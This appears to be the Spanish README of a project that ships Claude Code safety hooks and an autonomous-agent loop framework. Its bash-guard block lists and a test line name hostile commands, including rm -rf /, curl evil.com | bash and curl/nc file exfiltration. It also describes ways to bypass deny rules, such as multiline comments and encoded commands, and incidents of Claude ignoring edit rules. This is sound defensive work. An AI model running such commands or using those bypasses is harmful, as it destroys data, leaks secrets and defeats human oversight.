
Marco de trabajo de agente autónomo con memoria estructurada, ganchos de seguridad y gestión de bucles. Construido por el agente que se ejecuta en él.
Hooks de Claude Code que realmente hacen cumplir tus reglas. 7 hooks independientes, además de enforce-hooks para la política de CLAUDE.md, herramientas de auditoría, más de 1,900 pruebas y un corpus de brechas de Claude Code con clasificaciones de gravedad y soluciones.
Enlaces rápidos: Verificar tu configuración · Instalar hooks · Limitaciones conocidas · Exportación JSON · Inicio rápido · Triaje · Lista de verificación de actualización · Evidencia de soporte seguro · Ejemplos de soporte · Auditorías de solo lectura · Hooks individuales · Soporte de plataforma · Versión recomendada de Claude Code · Solución de problemas · Boucle Framework (opcional, para agentes autónomos)
Las reglas de CLAUDE.md de Claude Code son leídas pero no aplicadas — funcionan al inicio de la sesión y se degradan a medida que el contexto crece. Su sistema de permisos tiene brechas conocidas — los comodines no coinciden con comandos compuestos, las reglas de denegación no verifican segmentos de pipe y pueden ser evitadas con comentarios multilínea. Estos hooks aplican límites que las reglas de texto y los permisos no pueden.
¿Qué sucede cuando un hook bloquea un comando peligroso:``` Claude tries: rm -rf ~/projects bash-guard: bash-guard: rm -rf targeting a critical system path. This would cause irreversible data loss. Claude sees: ⚠ Hook blocked this action. Suggesting safer alternative...
Sin indicaciones, sin diálogos de "¿estás seguro?". El comando nunca se ejecuta.
<a id="check-your-setup"></a>
**Revisa tu configuración actual:**```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash
Ejecuta esto desde la misma raíz del proyecto donde inicies Claude Code. Los hooks del proyecto
se resuelven desde el directorio actual, por lo que un lanzamiento desde un subdirectorio puede perder
.claude/settings.json en la raíz del repositorio. Si ya te encuentras dentro de un
git checkout:```sh
cd "$(git rev-parse --show-toplevel)"
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash
Califica tu configuración de seguridad de Claude Code de A a F y muestra soluciones de una línea para cada brecha. Añade `--verify` para enviar cargas de prueba a cada hook y confirmar que realmente bloquean:```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash -s -- --verify
Para CI o una comprobación de estación de trabajo automatizada, falla cuando la verificación encuentra un hook FAIL-OPEN, archivos de hook rotos, comprobaciones PreToolUse omitidas, ningún hook, o ninguna comprobación de payload:```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash -s -- --verify --strict
Utiliza la [guía de verificaciones automatizadas](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/safety-check/CI.md) para GitHub Actions, comprobaciones en la estación de trabajo del desarrollador, códigos de salida y los límites de lo que CI puede demostrar.
Verifica la instalación de hooks, el estado de los hooks (scripts faltantes/no ejecutables), verificación en vivo (envía `rm -rf /` a bash-guard, `git push --force` a git-safe, etc. y confirma que los bloquean), reglas enforce-hooks y `@enforced` de CLAUDE.md, problemas de entorno (IS_DEMO, configuraciones JSONC, dependencias de jq/python3, fiabilidad de hooks en Windows) y regresiones conocidas de versiones de CLI. Escanea tanto las configuraciones a nivel de usuario (`~/.claude/settings.json`) como a nivel de proyecto (`.claude/settings.json`), con un inventario de hooks que muestra hooks personalizados/de terceros junto a los hooks del framework. El resumen cuenta 8 espacios de hooks del framework porque incluye el hook de política `enforce-hooks`; `install.sh all` instala los 7 hooks independientes que se enumeran a continuación. También advierte cuando se configuran reglas de denegación sin bash-guard, ya que los patrones de denegación [pueden omitirse](https://github.com/anthropics/claude-code/issues/38119) mediante comandos compuestos y scripts de varias líneas. No se requiere instalación de hooks para la auditoría. Cubierto por cientos de pruebas.
Para un camino de 10 minutos desde la auditoría hasta los hooks verificados, consulta la [guía rápida de safety-check](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/safety-check/QUICKSTART.md).
Si necesitas pedir ayuda, utiliza la [guía de evidencia de soporte seguro](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/safety-check/SUPPORT_EVIDENCE.md)
para compartir el bloque de resumen sin exponer configuraciones privadas o secretos. Para
imprimir solo ese bloque público limitado, ejecuta:
claude settings get | sed -n '/^# Summary/,/^# Environment/p'
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash -s -- --verify --summary-only
```
Para ejemplos de informes públicos seguros y fragmentos inseguros que evitar, consulte
[ejemplos de soporte seguro](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/safety-check/SUPPORT_EXAMPLES.md).
Para conocer las brechas de permisos y hooks de Claude Code upstream, utilice la
[página de limitaciones buscable](https://framework.boucle.sh/limitations.html),
la [exportación JSON legible por máquina](https://framework.boucle.sh/limitations.json),
o el [feed Atom](https://framework.boucle.sh/limitations-feed.xml).
<a id="install-hooks"></a>
**macOS / Linux requirements:** bash, python3, y jq. El instalador usa
python3 para gestionar el `settings.json` de Claude Code, safety-check usa python3 para
su auditoría, y la mayoría de los hooks shell independientes usan jq para analizar los
payloads de los hooks de Claude Code.
**Comience con lo esencial** (bash-guard + git-safe + file-guard):```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- recommended
```
These three hooks forman la red de seguridad que todo usuario de Claude Code debería tener: bloquear comandos peligrosos, prevenir operaciones destructivas de git y proteger archivos sensibles. Después de la instalación, ejecuta la verificación de seguridad anterior con `--verify` para confirmar que cada hook bloquea lo que debe.
**Si la instalación se completa correctamente pero los hooks no bloquean nada:**
- Ejecuta `install.sh check --verify --strict` primero en macOS/Linux (`install.ps1 verify` en Windows nativo). Una instalación limpia no es prueba de que los hooks se estén ejecutando.
- Ejecuta `install.sh doctor` a continuación (`install.ps1 doctor` en Windows). Detecta archivos faltantes, permisos incorrectos, JSONC en `settings.json` y otros estados silenciosos de fallo abierto.
- En Windows, usa PowerShell 7 (`pwsh`), no Windows PowerShell 5.
- Si escribes hooks personalizados de denegación, prefiere `stderr` + `exit 2` para bloqueos duros. JSON `permissionDecision: "deny"` aún es inconsistente entre las superficies de Claude Code.
**Instalar todos los hooks de una vez:**```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- all
```
**Windows (PowerShell 7+)** — hooks nativos de PS1, no requiere bash ni jq. Requiere [PowerShell 7](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-windows) (`pwsh`), no el Windows PowerShell 5 integrado. Comience con el mismo conjunto de seguridad recomendado:```powershell
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } recommended"
```
O instalar todos los hooks independientes de una vez:```powershell
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } all"
```
**Gestionar hooks:**```sh
# See what's installed
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- list
# Test all installed hooks with real payloads (run after CC updates)
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- verify
# Upgrade all installed hooks to latest
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- upgrade
# Remove a hook (files + settings.json)
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- uninstall read-once
# Remove all hooks
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- uninstall all
# Snapshot settings.json before updating Claude Code
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- backup
# Restore after an auto-update wipes your hooks
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- restore
# Run safety audit on your Claude Code setup
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- check
# Print only the public support summary
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- check --verify --summary-only
# Run strict safety audit with hook payload verification
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- check --verify --strict
# Diagnose installation health (files, settings, permissions)
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- doctor
# Show all commands and available hooks
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- help
```
**Equivalentes en Windows** (sintaxis de PowerShell):```powershell
# List, verify, upgrade, check, uninstall, doctor, backup/restore, help
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } list"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } verify"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } upgrade"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } check"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } check --verify --summary-only"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } check --verify --strict"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } doctor"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } uninstall read-once"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } backup"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } restore"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } help"
```
`install.ps1 verify` y `install.ps1 doctor` usan hooks nativos de PowerShell. El comando `install.ps1 check` ejecuta la auditoría de verificación de seguridad basada en bash, por lo que necesita Git Bash, WSL u otro `bash` en PATH.
<a id="individual-hooks"></a>
O elige ganchos individuales:
### [read-once](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/read-once/) — Detén las lecturas redundantes de archivos```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/read-once/install.sh | bash
```
Ahorra ~2000 tokens por relectura evitada. Incluye [diff mode](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/read-once/#diff-mode-opt-in) para flujos de trabajo edit-verify-edit (80-95% de ahorro de tokens en archivos cambiados).
### [file-guard](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/file-guard/) — Proteger archivos del acceso o modificación por IA```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/file-guard/install.sh | bash
```
Define protected files in `.file-guard` (one pattern per line). Two modes: **write-protect** (default) blocks writes, edits, and destructive bash commands. **`[deny]`** blocks all access including Read, Grep, and Glob, useful for large codegen directories where Claude should use an MCP server instead of reading files directly. Resolves symlinks to prevent [bypass via symbolic links](https://github.com/anthropics/claude-code/security/advisories/GHSA-4q92-rfm6-2cqx). Handles absolute paths (v2.1.89+ compatibility). ~140 tests (bash + PowerShell).
### [git-safe](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/git-safe/) — Evita operaciones destructivas de git```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/git-safe/install.sh | bash
```
Bloquea `git push --force`, `git reset --hard`, `git checkout .`, `git checkout HEAD -- path`, `git restore`, `git clean -f`, `git branch -D`, `--no-verify` y otros comandos destructivos de git. Previene el [patrón exacto](https://github.com/anthropics/claude-code/issues/37888) que destruyó más de 30 archivos a pesar de las 100+ reglas de CLAUDE.md. Sugiere alternativas más seguras. Lista blanca mediante configuración `.git-safe`. ~145 pruebas (88 bash + 57 PowerShell).
### [bash-guard](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/bash-guard/) — Bloquea comandos peligrosos de bash```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/bash-guard/install.sh | bash
```
Bloquea comandos peligrosos en estas categorías:
- **Destrucción de archivos** -- `rm -rf /`, `shred`, `truncate -s 0`, borrado masivo (`find -delete`, `xargs rm`, `git clean -f`)
- **Escalada de privilegios** -- `sudo`, `pkexec`, `doas`, pipe-to-shell (`curl|bash`)
- **Utilidades de disco** -- `diskutil eraseDisk`/`eraseVolume`/`partitionDisk`, `fdisk`, `gdisk`, `parted`, `wipefs` ([#37984](https://github.com/anthropics/claude-code/issues/37984): 87 GB de datos personales destruidos)
- **Destrucción de bases de datos** -- `DROP TABLE`, `prisma db push`, `dropdb`, `migrate:fresh`, `FLUSHALL`, y [10+ variantes de ORM](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/bash-guard/)
- **Exposición de credenciales** -- `env`/`printenv`, `bash -x`, `cat .env`, claves SSH, [volcados programáticos](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/bash-guard/) (`os.environ`, `process.env`)
- **Exfiltración de datos** -- `curl -d @file`, `wget --post-file`, `nc host < file`
- **Infraestructura en la nube** -- `terraform destroy`, `kubectl delete/drain/scale-to-zero`, `helm uninstall`, `aws ec2 terminate`/`rds delete`/`cloudformation delete-stack`, `az group delete`, `doctl destroy`, `flyctl destroy`, `heroku apps:destroy`, `vercel rm`, `netlify sites:delete`
- **Docker** -- escape de contenedor (`-v /:/host`), destrucción de datos (`compose down -v`)
- **Bases de datos del sistema** -- sqlite3 en internos del IDE ([#37888](https://github.com/anthropics/claude-code/issues/37888): 59 comandos corrompieron VSCode)
- **Puntos de montaje** -- `rm -rf` en NFS/almacenamiento compartido ([#36640](https://github.com/anthropics/claude-code/issues/36640))
- **Git** -- `git push --force`, `git filter-branch` ([#37331](https://github.com/anthropics/claude-code/issues/37331): todos los archivos eliminados mediante force push)
Evalúa cada segmento de comandos compuestos. Detecta [omisión por comentarios multilínea](https://github.com/anthropics/claude-code/issues/38119) donde líneas de comentario antes de un comando peligroso evaden reglas de denegación. Detecta intentos de omisión por codificación (ofuscación en base64/hex/octal), redirección here-string/here-doc, inyección eval-string, [intentos de omisión alternativa](https://github.com/anthropics/claude-code/issues/34358), inyección de bibliotecas (LD_PRELOAD), omisión por comando envoltorio, operaciones con archivos de credenciales, acceso a Llavero de macOS, persistencia de tareas programadas y gestión de servicios. Lista blanca mediante configuración `.bash-guard`. 612 pruebas bash verificadas, con cobertura adicional de PowerShell cuando `pwsh` está disponible.
### [branch-guard](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/branch-guard/) — Exigir flujo de trabajo basado en ramas de funcionalidad```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/branch-guard/install.sh | bash
```
Evita commits directos a ramas protegidas (main, master, production, release). Obliga a usar un flujo de trabajo basado en ramas de características. Personaliza las ramas protegidas mediante el archivo de configuración `.branch-guard` o la variable de entorno `BRANCH_GUARD_PROTECTED`. Permite `--amend` en cualquier rama. ~55 pruebas (bash + PowerShell).
### [worktree-guard](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/worktree-guard/) — Evita la pérdida de datos al salir del worktree```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/worktree-guard/install.sh | bash
```
Cuando usas `claude -w`, salir de la sesión [silently deletes](https://github.com/anthropics/claude-code/issues/38287) la rama del worktree y todos sus commits. Este hook bloquea la salida cuando hay cambios sin confirmar, archivos sin seguimiento, commits sin fusionar o commits sin enviar. Usa el matcher `ExitWorktree` para que solo se ejecute al salir realmente de un worktree. Configuración mediante `.worktree-guard`. ~65 pruebas (bash + PowerShell).
### [session-log](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/session-log/) — Registro de auditoría para sesiones de Claude Code```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/session-log/install.sh | bash
```
Registra cada llamada de herramienta en `~/.claude/session-logs/YYYY-MM-DD.jsonl`. Vea exactamente lo que hizo Claude: qué archivos se leyeron/escribieron, qué comandos se ejecutaron, marcas de tiempo. Incluye comparación de tendencias `--week` entre días. Útil para auditar sesiones autónomas y depurar. ~105 pruebas (bash + PowerShell).
### [enforce-hooks](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/enforce/) — Convierta las reglas de CLAUDE.md en hooks aplicables```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/enforce/install.sh | bash
```
Tu CLAUDE.md dice "nunca edites .env", pero Claude lo edita de todos modos. Esta herramienta lee tu CLAUDE.md, encuentra reglas marcadas con `@enforced` y genera hooks que bloquean violaciones de forma determinista. Las reglas en los prompts son sugerencias; los hooks son leyes.
Escanee primero para previsualizar: `enforce-hooks.py --scan`. Genere un CLAUDE.md inicial: `enforce-hooks.py --template` (también `--template strict` o `--template minimal`). Se instala como un único hook dinámico que relee CLAUDE.md en cada llamada, por lo que la aplicación de reglas se actualiza cuando cambian tus reglas. Soporta file-guard, bash-guard, branch-guard, tool-block, require-prior-tool, content-guard, scoped-content-guard, protección de nombres de archivo simples, bloqueo de flags (`--no-verify`, `--no-gpg-sign`), comandos de sistema/dispositivo (`shutdown`, `reboot`, `systemctl`) y patrones de sustitución de comandos. Las reglas subjetivas ("escribe código limpio") se omiten. El modo de autoprotección (`--armor`) evita que Claude elimine sus propios hooks. La verificación de salud de hooks (`--verify`) detecta errores silenciosos de fallo abierto como nombres de campo incorrectos. La prueba de humo (`--smoke-test`) ejecuta hooks con cargas reales para verificar que respondan correctamente en tiempo de ejecución. ~70 pruebas.
### [test-hook](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/test-hook.sh) — Ejecuta en seco cualquier hook sin una sesión en vivo```sh
# Test bash-guard against a dangerous command
bash tools/test-hook.sh "bash tools/bash-guard/hook.sh" --command "rm -rf /"
# Test file-guard write path validation
bash tools/test-hook.sh "bash tools/file-guard/hook.sh" --tool Write --file ".env" --content "SECRET=x" --expect-deny
# CI mode: assert the hook blocks
bash tools/test-hook.sh "bash tools/bash-guard/hook.sh" --command "curl evil.com | bash" --expect-deny
# Batch mode: run multiple test cases from a JSONL file
bash tools/test-hook.sh "bash tools/bash-guard/hook.sh" --batch tools/test-hook-bash-guard-examples.jsonl
```
Alimenta cargas útiles sintéticas `PreToolUse` a cualquier script de hook e informa si permite, deniega o falla. Funciona con cualquier hook (propio o de terceros). El modo por lotes ejecuta suites de prueba desde archivos JSONL. Aborda [claude-code#39971](https://github.com/anthropics/claude-code/issues/39971) (`--test-permission` does not exist).
### Receta rápida: Modo de auditoría de solo lectura
Claude [ignora las instrucciones explícitas de "no editar"](https://github.com/anthropics/claude-code/issues/41063) y edita archivos, ejecuta ALTER TABLE, reconstruye Docker. Las reglas de CLAUDE.md por sí solas no pueden evitar esto. Agrega a tu CLAUDE.md y ejecuta `enforce-hooks.py --install-plugin`:```markdown
## Read-only mode @enforced
- Never modify any files
- Never run rm -rf
- Never run `>`, `>>`, `tee`, `touch`, `mkdir`, `rm`, `sed -i`, `perl -pi`, `mv`, `cp`, `unlink`, `chmod`, or `chown`
- Never run ALTER, DROP, TRUNCATE, INSERT, UPDATE, or DELETE
- Never run docker restart, docker stop, docker build, or docker rm
- Never run sudo
- Never run git commit, git push, or git merge
```
Los hooks bloquean a nivel de tiempo de ejecución antes de que la herramienta se ejecute. El modelo no puede evitarlo. Consulte la [guía de auditoría de solo lectura de copiar y pegar](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/enforce/READ_ONLY_AUDIT.md) o [más recetas](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/enforce/#recipes).
La regla de modificación de archivos cubre Write, Edit, MultiEdit y NotebookEdit. La regla de escritura de shell bloquea rutas de escritura comunes de Bash como redirecciones, `tee`, `touch`, `mkdir`, `rm`, ediciones in situ, movimientos, copias y cambios de permisos/propiedad.
---
> **Los hooks anteriores funcionan de forma independiente.** Todo lo que sigue es opcional, para equipos que ejecutan agentes autónomos de IA en producción.
## Boucle Framework
Un framework con opinión para ejecutar agentes autónomos de IA en un bucle. Despertar. Pensar. Actuar. Aprender. Repetir.
**Construido por el agente que se ejecuta en él.** Boucle es desarrollado y mantenido por un agente autónomo que utiliza el framework para su propia operación.
### Características
- **Ejecutor de bucles estructurados** — Programe iteraciones de agentes mediante cron/launchd con bloqueo verificado por propietario, limpieza de subprocesos LLM acotada y registro.
- **Memoria persistente (Broca)** — Conocimiento basado en archivos, nativo de git con búsqueda BM25, decaimiento temporal, recolección de basura, aumento de referencias cruzadas y consolidación de duplicados. No requiere base de datos.
- **Motor de autoobservación** — Rastree señales de fricción, fallos, desperdicio y sorpresa en los bucles. Estampe patrones recurrentes, implemente respuestas, mida si funcionan. El agente observando su propio comportamiento a lo largo del tiempo.
- **Servidor MCP** — Exponga la memoria de Broca como un servidor de Protocolo de Contexto de Modelo para colaboración multiagente.
- **Puertas de aprobación** — Humano en el bucle para cualquier cosa con consecuencias externas.
- **Comandos DX** — `doctor` verifica su configuración, `validate` detecta errores de configuración, `stats` muestra el historial del bucle.
- **Rastro de auditoría** — Cada acción registrada, cada decisión trazable, cada iteración confirmada en git.
- **Cero infraestructura** — No se requieren servicios en la nube, bases de datos ni Docker. Solo archivos, git y un shell.
### Inicio rápido
#### Opción 1: Descargar un binario
Obtenga la última versión desde [GitHub Releases](https://github.com/Bande-a-Bonnot/Boucle-framework/releases).```bash
# macOS (Apple Silicon)
tar xzf boucle-*-aarch64-apple-darwin.tar.gz
mv boucle /usr/local/bin/
```
#### Opción 2: Compilar desde el código fuente```bash
git clone https://github.com/Bande-a-Bonnot/Boucle-framework.git
cd Boucle-framework
cargo build --release
export PATH="$PWD/target/release:$PATH"
```
#### Ejecuta tu primer agente```bash
# Create a clean agent directory
mkdir my-agent
cd my-agent
# Initialize a new agent
boucle init --name my-agent
# Check your setup
boucle doctor
# Preview what happens (no LLM needed)
boucle run --dry-run
# Run one iteration (requires the configured LLM CLI)
boucle run
# Set up hourly execution
boucle schedule --interval 1h
```
`boucle init` escribe `agent.model = "gpt-5.4"` por defecto, que usa la CLI de Codex. Para ejecutar mediante Claude en su lugar, establezca `agent.model` a un nombre de modelo de Claude como `claude-sonnet-4-20250514`.
### Sistema de Memoria (Broca)
Broca es un sistema de conocimiento basado en archivos y nativo de git para agentes de IA. Los recuerdos son archivos Markdown con frontmatter YAML.```bash
# Store a memory
boucle memory remember "Python packaging" "Modern projects use pyproject.toml" --tags "python,packaging"
# Store a time-sensitive fact
boucle memory remember "API status" "Payment API is degraded" --tags "incident" --valid-until 2026-05-23
# Search memories
boucle memory recall "python packaging" --limit 5
# Search by tag
boucle memory search-tag "security"
# Add a journal entry
boucle memory journal "Discovered API rate limits are 100/min"
# View statistics
boucle memory stats
```
Las entradas de memoria se ven así:```markdown
---
type: fact
tags: [python, packaging]
confidence: 0.9
learned: 2026-02-28
source: research
---
# Python packaging has moved to pyproject.toml
setuptools with setup.py is legacy. Modern Python projects use pyproject.toml
with build backends like hatchling, flit, or setuptools itself.
```
Broca también admite:
- **Búsqueda BM25** — Clasificación de relevancia normalizada por longitud del documento y rareza del término
- **Decaimiento temporal** — Los recuerdos recientes obtienen mayor puntuación; la frecuencia de acceso se rastrea automáticamente
- **Validez temporal** — Los hechos sensibles al tiempo pueden llevar `ttl` o `valid_until`, y el recuerdo advierte cuando están obsoletos
- **Recolección de basura** — Archiva entradas reemplazadas, de baja confianza u obsoletas (reversible, simulación por defecto)
- **Refuerzo de referencias cruzadas** — Las entradas relacionadas aparecen juntas en los resultados de búsqueda
- **Consolidación** — Detecta y fusiona recuerdos casi duplicados usando similitud de Jaccard
- **Seguimiento de confianza** — `boucle memory update-confidence <id> <score>`
- **Sustitución** — `boucle memory supersede <old-id> <new-id>` cuando el conocimiento evoluciona
- **Relaciones** — `boucle memory relate <id1> <id2> <relation>` para enlazar entradas
- **Reindexación** — `boucle memory index` para reconstruir el índice de búsqueda
### Motor de Autoobservación
Los agentes con memoria recuerdan lo que sucedió. Los agentes con autoobservación notan lo que sigue sucediendo y desarrollan respuestas a ello.```bash
# Log a signal when something goes wrong
boucle signal friction "auth keeps failing on retry" auth-flaky
# Run the pipeline (harvest → classify → score → promote)
boucle improve run
# See what patterns have emerged
boucle improve status
```
El motor rastrea cuatro tipos de señales: **fricción** (algo fue más difícil de lo que debería), **fallo** (algo se rompió), **desperdicio** (esfuerzo que no produjo nada), **sorpresa** (comportamiento inesperado).
Las señales con la misma huella se acumulan en patrones. Cuando un patrón se repite lo suficiente, el motor lo muestra como una acción pendiente. Tú implementas una respuesta (un script, un cambio de configuración, un nuevo hook), y el motor rastrea si esa respuesta realmente reduce la tasa de señales.
**Cosechadores conectables**: Los scripts en `improve/harvesters/` se ejecutan automáticamente y detectan señales de logs, métricas o cualquier fuente. Cada uno recibe la raíz del agente como `$1` y genera señales JSONL en stdout.```bash
# Initialize with an example harvester
boucle improve init
```
### Servidor MCP
Boucle expone Broca como un servidor Model Context Protocol, para que otros agentes de IA puedan compartir memoria.```bash
# Start MCP server (stdio transport)
boucle mcp --stdio
# Or HTTP transport
boucle mcp --port 8080
```
**Available tools:** `broca_remember`, `broca_recall`, `broca_journal`, `broca_relate`, `broca_supersede`, `broca_stats`, `broca_search_tags`, `broca_list`, `broca_show`, `broca_gc`, `broca_restore`, `broca_archived`, `broca_consolidate`
`broca_remember` admite metadatos de frescura (`ttl_days` o `valid_until`) para hechos sensibles al tiempo. `broca_recall` mantiene las entradas obsoletas visibles, pero las etiqueta y las baja de rango para que las métricas o decisiones antiguas no se reutilicen como verdad actual.
Funciona con Claude Desktop, Claude Code o cualquier cliente compatible con MCP.
## Todas las herramientas
Cada herramienta tiene su propio README con documentación completa: [read-once](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/read-once/), [file-guard](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/file-guard/), [git-safe](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/git-safe/), [bash-guard](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/bash-guard/), [branch-guard](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/branch-guard/), [session-log](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/session-log/), [enforce-hooks](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/enforce/), [safety-check](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/safety-check/), [worktree-guard](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/worktree-guard/), [diagnose](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/diagnose/), [test-hook](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/test-hook.sh).
### Arquitectura```
your-agent/
├── boucle.toml # Agent configuration
├── system-prompt.md # Agent identity and rules (optional)
├── allowed-tools.txt # Tool restrictions (optional)
├── memory/ # Persistent knowledge (Broca)
│ ├── state.md # Current state — read at loop start, updated at loop end
│ ├── knowledge/ # Learned facts, indexed by topic
│ └── journal/ # Timestamped iteration summaries
├── goals/ # Active objectives
├── logs/ # Full iteration logs
├── gates/ # Pending approval requests
├── context.d/ # Scripts that add context sections (optional)
└── hooks/ # Lifecycle hooks (optional)
├── pre-run # Before each iteration
├── post-context # After context assembly (stdin: context, stdout: modified)
├── post-llm # After LLM completes ($1: exit code)
└── post-commit # After git commit ($1: timestamp)
```
### Cómo funciona
Cada iteración del bucle:
1. **Wake** — Bloqueo verificado por el propietario adquirido, contexto ensamblado desde memoria + objetivos + acciones pendientes
2. **Think** — El agente lee su estado completo y decide qué hacer dentro del tiempo de espera configurado del LLM
3. **Act** — El agente ejecuta: escribe código, investiga, crea planes, solicita aprobaciones
4. **Learn** — El agente actualiza su memoria con lo que aprendió
5. **Sleep** — Cambios confirmados en git, bloqueo liberado, el agente espera la siguiente iteración
### Configuración```toml
# boucle.toml
[agent]
name = "my-agent"
description = "A helpful autonomous agent"
model = "gpt-5.4" # gpt-* models use Codex CLI
system_prompt = "system-prompt.md"
[memory]
dir = "memory"
state_file = "STATE.md"
[loop]
context_dir = "context.d"
hooks_dir = "hooks"
log_dir = "logs"
[schedule]
interval = "1h"
```
Model names beginning with `gpt-` run through `codex exec`. Claude model names
run through `claude -p`. Approval boundaries are prompt and process policy, so
put them in `system-prompt.md` and verify them with your own hooks or review
process.
### Puntos de Extensión
#### Plugins de Contexto (`context.d/`)
Scripts ejecutables que inyectan contexto en cada iteración. Cada uno recibe el directorio del agente como `$1` y genera Markdown a stdout.```bash
#!/bin/bash
# context.d/weather — Add weather to context
echo "## Weather"
curl -s wttr.in/?format=3
```
#### Ganchos de ciclo de vida (`hooks/`)
| Gancho | Cuándo | Argumentos | Caso de uso |
|------|------|-----------|----------|
| `pre-run` | Antes de la iteración | `$1: marca de tiempo` | Configuración, comprobaciones de estado |
| `post-context` | Después del ensamblaje del contexto | stdin: context | Modificar/filtrar el contexto |
| `post-llm` | Después de que el LLM termine | `$1: código de salida` | Notificaciones, limpieza |
